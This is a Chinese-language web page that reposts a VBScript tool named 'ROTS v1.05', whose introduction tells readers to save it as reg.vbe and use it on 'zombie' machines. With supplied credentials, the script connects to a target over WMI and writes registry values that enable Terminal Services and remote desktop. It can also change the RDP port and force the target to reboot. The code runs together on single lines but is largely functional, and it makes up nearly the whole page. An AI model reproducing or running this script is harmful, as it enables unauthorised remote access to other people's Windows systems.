注册
登录
| 关键词： nbsp wscript echo then setdwordvalue outstreem reboot objswbemservices CurrentControlSe HKLM |
开3389时使用到的vbe文件，把下列文本保存为reg.vbe，找肉鸡把~ on error resume nextset outstreem=wscript.stdoutset instreem=wscript.stdinif (lcase(right(wscript.fullname,11))="wscript.exe") then set objShell=wscript.createObject("wscript.shell") objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34)) wscript.quitend ifif wscript.arguments.count<3 then usage() wscript.echo "Not enough parameters." wscript.quitend if ipaddress=wscript.arguments(0)username=wscript.arguments(1)password=wscript.arguments(2)if wscript.arguments.count>3 then port=wscript.arguments(3)else port=3389end ifif not isnumeric(port) or port<1 or port>65000 then wscript.echo "The number of port is error." wscript.quitend ifif wscript.arguments.count>4 then reboot=wscript.arguments(4)else reboot=""end if usage()outstreem.write "Conneting "&ipaddress&" ...."set objlocator=createobject("wbemscripting.swbemlocator")set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)showerror(err.number)objswbemservices.security_.privileges.add 23,trueobjswbemservices.security_.privileges.add 18,true outstreem.write "Checking OS type...."set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")for each objinstoscaption in colinstoscaption if instr(objinstoscaption.caption,"Server")>0 then wscript.echo "OK!" else wscript.echo "OS type is "&objinstoscaption.caption outstreem.write "Do you want to cancel setup?[y/n]" strcancel=instreem.readline if lcase(strcancel)<>"n" then wscript.quit end ifnext outstreem.write "Writing into registry ...."set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")HKLM=&h80000002HKU=&h80000003with objinstreg.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache".setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer".setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1".setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",portend withshowerror(err.number) rebt=lcase(reboot)flag=0if rebt="/r" or rebt="-r" or rebt="\r" then flag=2if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6if flag<>0 then outstreem.write "Now, reboot target...." strwqlquery="select * from win32_operatingsystem where primary='true'" set colinstances=objswbemservices.execquery(strwqlquery) for each objinstance in colinstances objinstance.win32shutdown(flag) next showerror(err.number)else wscript.echo "You need to reboot target."&vbcrlf&"Then,"end ifwscript.echo "You can logon terminal services on "&port&" later. Good luck!" function showerror(errornumber)if errornumber Then wscript.echo "Error 0x"&cstr(hex(err.number))&" ." if err.description <> "" then wscript.echo "Error description: "&err.description&"." end if wscript.quitelse wscript.echo "OK!"end ifend function function usage()wscript.echo string(79,"*")wscript.echo "ROTS v1.05"wscript.echo "Remote Open Terminal services Script, hyt 整理"wscript.echo "Welcome to visite www.jyboy.com & xixi.org QQ:42010064"wscript.echo "Usage:"wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]"wscript.echo "port: default number is 3389."wscript.echo "/r: auto reboot target."wscript.echo "/fr: auto force reboot target."wscript.echo string(79,"*")&vbcrlfend function |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
